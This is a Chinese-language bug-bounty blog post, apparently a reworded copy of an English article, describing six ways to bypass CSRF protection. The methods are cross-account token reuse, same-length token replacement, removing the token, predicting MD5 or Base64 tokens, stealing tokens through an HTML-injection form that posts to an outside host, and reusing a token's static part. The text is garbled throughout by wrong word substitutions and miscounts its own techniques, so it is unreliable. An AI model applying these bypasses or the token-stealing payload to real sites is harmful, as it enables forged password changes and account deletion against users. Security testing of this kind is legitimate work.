你们都知道CSRF是什么,如果不知道的话,您就不会涌如今我的博客上。本日,在本文中,我将阐明对测试网站的CSRF保护的四个大略测试,这些测试可能会导致CSRF绕过,这反过来可以为您赢利。
Cross site request forgery
1. 在帐户之间利用CSRF令牌最大略和最致命的CSRF绕过是当运用程序不验证CSRF令牌是否绑定到特定帐户而仅验证算法时。为了验证这一点
从帐户A登录到运用程序转到其密码变动页面利用burp代理捕获CSRF令牌注销账户A,然后登录B账户转到密码变动页面并拦截该要求利用A的csrf token 代替 账户B的
2. 更换相同长度的值
另一种技能是,您可以找到该令牌的长度,例如,它是在您将同一变量更换为其他32个字符值的变量authenticity_token下包含32个字符的字母数字令牌
例如,令牌为ud019eh10923213213123,您将其更换为具有相同值的令牌。(相同长度)
3. 从要求中完备删除CSRF token此技能常日适用于帐户删除功能,在这些功能中根本不验证令牌,这使攻击者可以通过CSRF删除任何用户的帐户。但是我创造它也可以在其他功能上事情。很大略,您用burpsuite拦截了要求,并从全体令牌中删除了令牌,我测试过的运用程序中有40%被创造随意马虎受到此技能的攻击
4. 解码CSRF令牌绕过CSRF的另一种方法是识别CSRF令牌的算法。根据我的履历,CSRF令牌是MD5或Base64编码的值。您可以解码该值并对该算法中的下一个值进行编码,然后利用该令牌。例如,"a0a080f42e6f13b3a2df133f073095dd"是MD5(122)。您可以类似地将下一个值MD5(123)作为CSRF令牌已达到绕过的目的。
5. 通过HTML注入提取令牌此技能利用HTML注入漏洞,攻击者可以利用该漏洞植入记录器,以从该网页提取CSRF令牌并利用该令牌。攻击者可以植入链接,例如:
<form action=”http://shahmeeramir.com/acquire_token.php”></textarea>
6. 仅利用令牌的静态部分
常常不雅观察到CSRF令牌由两部分组成。静态部分和动态部分。考虑两个CSRF令牌shahmeer742498h989889和shahmeer7424ashda099s。shahmeer7424作为静态部分当作令牌利用。
还有许多其他方法可以绕过CSRF保护,但是我在探求bug的过程中大多碰着这些情形。
References[1] 6 Methods to bypass CSRF protection on a web application: https://shahmeeramir.com/methods-to-bypass-csrf-protection-on-a-web-application-3198093f6599